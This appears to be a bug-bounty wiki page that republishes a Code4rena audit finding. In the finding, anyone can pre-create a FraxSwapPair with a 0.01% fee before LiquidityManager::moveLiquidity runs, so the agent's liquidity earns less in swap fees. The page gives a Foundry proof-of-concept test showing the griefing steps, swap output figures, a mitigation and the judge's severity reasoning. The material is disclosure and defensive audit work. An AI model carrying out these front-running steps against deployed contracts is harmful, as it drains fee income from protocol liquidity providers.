Anyone can deploy a new FraxSwapPair with a Low fee incurring losses to the protocol
The LiquidityManager contract creates a FraxSwapPair with a default 1% fee, but an attacker can pre-create the same pair with a much lower fee (0.01%) before liquidity is moved. This causes the protocol to earn less in swap fees until the factory owner manually corrects the fee.
CodexBugmenot Follow with 056Security, 0xvd and 9 others
Originally disclosed on Code4rena
Submitted by CodexBugmenot, also found by 056Security, 0xvd, A0z9, DoD4uFN, EPSec, eternal1328, Greed, newspacexyz, potatoad-sec, vladi319, and Zkillua
When LiquidityManager::moveLiquidity function is called then either a new FraxSwapPair is created with a fee of 1% or if a pair already exists then the liquidity is transferred to that FraxSwapPair but the issue is that any user can deploy this FraxSwapPair with fee as low as 0.01% which can only be changed back by the owner of the FraxSwapFactory and if left unchecked will result in loss of fee for the protocol.
Proof of Concept
- Malicious user creates a
FraxSwapPairwith fee as low as0.01%beforemoveLiquidityis called - Now every swap before the
feeis changed back to1%will result in loss of fee for the protocol
Paste the following POC in MoveLiquidityTest.sol:
Change the Fee in FraxSwapPair deployment from 1 to 100 to change fee from 0.01% to 1%:
function test_low_fee() public {
setUpFraxtal(12_918_968);
address whale = 0x00160baF84b3D2014837cc12e838ea399f8b8478;
uint256 targetCCYLiquidity = 6_100_000e18;
factory = new AgentFactory(currencyToken, 0);
factory.setAgentBytecode(type(Agent).creationCode);
factory.setGovenerBytecode(type(TokenGovernor).creationCode);
factory.setLiquidityManagerBytecode(type(LiquidityManager).creationCode);
//factory.setTargetCCYLiquidity(1000e18);
factory.setInitialPrice(0.1e18);
vm.startPrank(whale);
currencyToken.approve(address(factory), 1e18);
agent = factory.createAgent("AIAgent", "AIA", "https://example.com", 0);
token = agent.token();
// Buy from the bootstrap pool
manager = LiquidityManager(factory.agentManager(address(agent)));
bootstrapPool = manager.bootstrapPool();
currencyToken.approve(address(bootstrapPool), 10_000_000e18);
bootstrapPool.buy(6_000_000e18);
vm.stopPrank();
// the above code is setup()
// griefer buys from `BootstrapPool` to get minimum liquidity required to create a pool
address _griefer = makeAddr("griefer");
deal(address(currencyToken), _griefer, 1000 ether);
vm.deal(_griefer, 10 ether);
vm.startPrank(_griefer);
currencyToken.approve(address(bootstrapPool), 10 ether);
uint256 tknamt = bootstrapPool.buy(5 ether);
//griefer creates `FraxSwapPair`
IFraxswapPair fraxswapPair =
IFraxswapPair(manager.fraxswapFactory().createPair(address(currencyToken), address(token), 1)); // Fee set here
currencyToken.transfer(address(fraxswapPair), 5 ether);
token.transfer(address(fraxswapPair), tknamt);
fraxswapPair.mint(address(_griefer));
// Move liquidity
manager.moveLiquidity();
// Swap from the Fraxswap pool
//token(0) is AI token
//token(1) is currency token
// griefer swaps 1 ether worth of his currency token for AI token
fraxswapPair = IFraxswapPair(manager.fraxswapFactory().getPair(address(currencyToken), address(token)));
uint256 amountOut = fraxswapPair.getAmountOut(1e18, address(currencyToken));
currencyToken.transfer(address(fraxswapPair), 1e18);
if (fraxswapPair.token0() == address(currencyToken)) {
fraxswapPair.swap(0, amountOut, address(_griefer), "");
} else {
fraxswapPair.swap(amountOut, 0, address(_griefer), "");
}
vm.stopPrank();
}
From the Above test :
- when fee is
0.01%Currency tokenamountIn ---->1e18we getAi tokenamountOut ---->3.935e18 - when fee is
1%Currency tokenamountIn ---->1e18we getAi tokenamountOut ---->3.896e18 - so for a swap of
1 etherworth ofcurrency tokenthe protocol loses0.039 etherworth ofAI tokensin fee
Now for much higher transactions, including the 3 swaps done during the moveLiquidity, all that fee is lost to the protocol.
Recommended mitigation steps
This issue exists for every new Agent created in AgentFactory and it is not feasible for the owner to check fee amount on every pair so, consider creating a new FraxSwapPair with the desired fee in AgentFactory::createAgent itself to avoid these fee discrepancies.
Consider any design change which will prevent arbitrary users to set fee.
The protocol does not earn the fees from Fraxswap swaps. These are shared between the LP (the agent) and Fraxswap. The Fraxswap owner can unilaterally update the fee to the desired value.
I believe this is a valid concern. The TokenGovernor is the intended owner of the Agent contract which will hold the LP funds. From the context of the codebase, the
tradingFeeshould be respected in theAgentFactorycontract set by the admin, so that the fees received by the TokenGovernor is accurate (up to 1%).
- If set lower than expected by an external user —> Agent earns less fees
- If set higher than expected by an external user —> Slightly affects pricing in subsequent fraxpool when computing output amounts when fee is accounted for
While it is true that the Frax privileged fee-to-setter multisig can adjust the fees for specific pairs, since it can result in accumulated fee loss based on duration before this fees is reset, I believe Medium severity is appropriate.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
The protocol could lose a portion of swap fees on every trade until the FraxSwapFactory owner resets the fee, and the loss accumulates over time.
What the attacker needed
Attacker has funds to provide initial liquidity; attacker acts before moveLiquidity is called
The fix
The protocol should create the FraxSwapPair with the desired fee itself during agent creation, or otherwise prevent arbitrary users from setting the fee.
How it was found
- Attacker obtains enough tokens to meet the minimum liquidity requirement by buying from the bootstrap pool.
- Attacker creates a FraxSwapPair for the currency token and the agent token with a very low fee.
- Attacker adds liquidity to that pair and mints LP tokens.
- The protocol calls moveLiquidity, which uses the existing pair created by the attacker.
- Attacker performs a swap, and the protocol earns less fee than intended.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When the protocol moves its liquidity into a trading pool, it expects that pool to charge a 1% fee on each trade. But an attacker can create the same pool first with a tiny fee, and the protocol then uses that pool. As a result, the protocol collects less money from trades until someone with special rights fixes the fee.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.